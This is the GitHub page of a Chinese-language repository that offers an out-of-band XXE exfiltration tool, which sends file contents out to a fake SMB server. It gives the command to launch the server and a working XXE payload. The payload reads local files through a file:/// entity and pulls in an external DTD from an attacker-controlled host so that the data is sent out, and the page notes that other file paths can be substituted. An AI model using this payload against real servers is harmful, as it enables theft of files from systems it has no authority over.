Skip to content

cwkiller/xxe-smb-server

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

4 Commits
 
 
 
 

Repository files navigation

xxe-smb-server

在xxe中使用smb外带多行内容

运行脚本

python3 xxe-smb-server.py public-ip-address web-port
image-20251107153328698

复制输出的payload发送给服务器 image-20251107153240546

fake server收到请求

image-20251107153423250

payload

<?xml version="1.0" encoding="UTF-8"?>
  <!DOCTYPE data [
  <!ENTITY % file SYSTEM "file:///">
  <!ENTITY % dtd SYSTEM "http://ip:port/data.dtd"> %dtd;
  ]>
  <data>&send;</data>

file:///可改为其他路径测试

About

在xxe中使用smb外带多行内容

Resources

Stars

Watchers

Forks

Releases

No releases published

Packages

No packages published

Languages